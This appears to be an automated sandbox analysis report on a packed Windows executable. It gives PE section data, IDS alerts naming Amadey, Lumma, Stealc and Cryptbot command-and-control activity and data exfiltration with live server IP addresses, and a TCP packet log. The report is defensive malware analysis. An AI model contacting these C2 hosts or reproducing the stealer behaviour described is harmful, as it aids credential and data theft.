IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4cc58c	0x10	enxqmdvy
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4cc53c	0x18	enxqmdvy
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	a14ef79f55fde729113412aeccf34629	False	0.9980894499318801	data	7.979746908580336	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2ba000	0x200	1500ca2f6f4c0a2e003584cc104bd2c3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
enxqmdvy	0x325000	0x1a8000	0x1a7600	7ba61bb957ef8877089e1cca4c4276bc	False	0.9949439031591378	data	7.954239797642209	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uaexcxhu	0x4cd000	0x1000	0x600	cdb3c1f3064ab9fd25cc5f2a79056078	False	0.5859375	data	5.012216132382179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4ce000	0x3000	0x2200	5c0e404b3d1c09e7dc77af517d14c58f	False	0.05801930147058824	DOS executable (COM)	0.7836320618127063	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-23T13:28:05.927580+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49714	185.215.113.43	80	TCP
2024-11-23T13:28:10.465749+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49729	31.41.244.11	80	TCP
2024-11-23T13:28:20.202244+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49721	TCP
2024-11-23T13:28:21.540286+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49755	185.215.113.43	80	TCP
2024-11-23T13:28:29.196932+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49777	185.215.113.16	80	TCP
2024-11-23T13:28:34.812540+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49771	TCP
2024-11-23T13:28:36.034800+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49794	104.21.33.116	443	TCP
2024-11-23T13:28:36.212343+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49793	185.215.113.43	80	TCP
2024-11-23T13:28:36.959743+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49794	104.21.33.116	443	TCP
2024-11-23T13:28:36.959743+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49794	104.21.33.116	443	TCP
2024-11-23T13:28:37.796725+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49799	185.215.113.16	80	TCP
2024-11-23T13:28:38.330243+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49802	104.21.33.116	443	TCP
2024-11-23T13:28:45.261290+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49819	185.215.113.43	80	TCP
2024-11-23T13:28:45.714504+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-23T13:28:46.164045+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-23T13:28:46.351923+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49818	TCP
2024-11-23T13:28:46.681037+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-23T13:28:46.809626+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49818	TCP
2024-11-23T13:28:46.870935+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49824	185.215.113.16	80	TCP
2024-11-23T13:28:48.235570+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-23T13:28:48.965666+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49818	185.215.113.206	80	TCP
2024-11-23T13:28:52.140885+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49838	104.21.33.116	443	TCP
2024-11-23T13:28:52.353034+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49837	185.215.113.43	80	TCP
2024-11-23T13:28:53.290087+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49838	104.21.33.116	443	TCP
2024-11-23T13:28:53.290087+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49838	104.21.33.116	443	TCP
2024-11-23T13:28:54.102257+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49843	185.215.113.16	80	TCP
2024-11-23T13:28:54.893651+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49854	104.21.33.116	443	TCP
2024-11-23T13:28:55.938435+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49854	104.21.33.116	443	TCP
2024-11-23T13:28:55.938435+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49854	104.21.33.116	443	TCP
2024-11-23T13:28:57.931028+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49866	104.21.33.116	443	TCP
2024-11-23T13:28:59.028374+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49866	104.21.33.116	443	TCP
2024-11-23T13:29:02.885233+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49885	185.215.113.43	80	TCP
2024-11-23T13:29:02.982220+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49889	104.21.33.116	443	TCP
2024-11-23T13:29:05.952091+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49907	104.21.33.116	443	TCP
2024-11-23T13:29:12.426873+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49925	104.21.33.116	443	TCP
2024-11-23T13:29:19.328649+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49943	104.21.33.116	443	TCP
2024-11-23T13:29:19.346274+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	49943	104.21.33.116	443	TCP
2024-11-23T13:29:19.875004+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	49945	34.116.198.130	80	TCP
2024-11-23T13:29:20.596125+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49947	185.215.113.206	80	TCP
2024-11-23T13:29:24.228364+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.6	49958	34.116.198.130	80	TCP
2024-11-23T13:29:26.854625+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49965	104.21.33.116	443	TCP
2024-11-23T13:29:29.370347+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49970	104.21.33.116	443	TCP
2024-11-23T13:29:30.213657+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49970	104.21.33.116	443	TCP
2024-11-23T13:29:30.213657+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49970	104.21.33.116	443	TCP
2024-11-23T13:29:32.902084+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49986	104.21.33.116	443	TCP
2024-11-23T13:29:33.630991+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49986	104.21.33.116	443	TCP
2024-11-23T13:29:33.630991+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49986	104.21.33.116	443	TCP
2024-11-23T13:29:36.697470+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50002	104.21.33.116	443	TCP
2024-11-23T13:29:38.167952+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50002	104.21.33.116	443	TCP
2024-11-23T13:29:40.968772+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50014	104.21.33.116	443	TCP
2024-11-23T13:29:41.528283+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50013	185.215.113.206	80	TCP
2024-11-23T13:29:45.068520+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50026	104.21.33.116	443	TCP
2024-11-23T13:29:51.991565+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50040	104.21.33.116	443	TCP
2024-11-23T13:30:00.557861+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50089	104.21.33.116	443	TCP
2024-11-23T13:30:02.961099+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50089	104.21.33.116	443	TCP
2024-11-23T13:30:03.775891+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50100	104.21.33.116	443	TCP
2024-11-23T13:32:56.565893+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50201	20.42.65.89	443	TCP
2024-11-23T13:33:17.268273+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50217	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 13:28:04.420002937 CET	49714	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:04.539686918 CET	80	49714	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:04.539776087 CET	49714	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:04.539971113 CET	49714	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:04.659647942 CET	80	49714	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:05.927504063 CET	80	49714	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:05.927580118 CET	49714	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:07.441356897 CET	49714	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:07.441744089 CET	49721	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:07.561314106 CET	80	49721	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:07.561422110 CET	49721	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:07.561517954 CET	80	49714	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:07.561583996 CET	49714	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:07.582640886 CET	49721	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:07.702224970 CET	80	49721	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:08.956794977 CET	80	49721	185.215.113.43	192.168.2.6
Nov 23, 2024 13:28:08.956860065 CET	49721	80	192.168.2.6	185.215.113.43
Nov 23, 2024 13:28:08.961808920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:09.081475973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:09.081681967 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:09.083497047 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:09.203284025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465671062 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465729952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465748072 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465749025 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.465770960 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.465781927 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.465811014 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465828896 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465845108 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465862036 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465872049 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.465923071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.465924978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465940952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465955973 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.465976954 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.466001987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.585381985 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.585458994 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.585544109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.667098045 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.667251110 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.667335987 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.671179056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.671260118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.671264887 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.671310902 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.679580927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.679721117 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.679832935 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.687982082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.688060999 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.688317060 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.696438074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.696494102 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.696576118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.704775095 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.704916000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.705029011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.713126898 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.713257074 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.713351011 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.721539974 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.721600056 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.721623898 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.721662045 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.729959965 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.730040073 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.730130911 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.737628937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.737739086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.737823963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.745311975 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.745367050 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.745456934 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.868434906 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.868486881 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.868535995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.868535995 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.870899916 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.870954990 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.870994091 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.871051073 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.875983953 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.876065969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.877924919 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.877969027 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.878035069 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.878093004 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.882934093 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.882992029 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.883059025 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.883570910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.888055086 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.888165951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.888165951 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.888286114 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.893106937 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.893167973 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.893234015 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.893294096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.898227930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.898332119 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.898346901 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.898504019 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.903307915 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.903362989 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.903404951 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.903482914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.908436060 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.908507109 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.908512115 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.908576012 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.913530111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.913636923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.913656950 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.913718939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.918600082 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.918663979 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.918752909 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.918809891 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.923646927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.923736095 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.923779964 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.923854113 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.928819895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.928857088 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.928875923 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.928900957 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.933857918 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.933969021 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.934031963 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.938927889 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.939027071 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.939136982 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.943991899 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.944116116 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.944257975 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.949094057 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.949173927 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.949301958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.954135895 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.954241991 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.954265118 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.954294920 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.959259033 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.959331989 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.959393024 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:10.964309931 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.964396000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:10.964502096 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.069716930 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.069776058 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.069809914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.069809914 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.071705103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.071759939 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.071805000 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.071851969 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.075854063 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.075931072 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.075974941 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.076025009 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.080039978 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.080096006 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.080178022 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.080229998 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.084105968 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.084192038 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.084213972 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.084336042 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.088066101 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.088135958 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.088135958 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.088196039 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.091775894 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.091857910 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.091917038 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.091967106 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.095482111 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.095561028 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.095606089 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.095756054 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.099189997 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.099245071 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.099282026 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.099379063 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.102802992 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.102880955 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.102955103 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.103106022 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.106951952 CET	80	49729	31.41.244.11	192.168.2.6
Nov 23, 2024 13:28:11.107039928 CET	49729	80	192.168.2.6	31.41.244.11
Nov 23, 2024 13:28:11.107112885 CET	80	49729	31.41.244.11	192.168.2.6
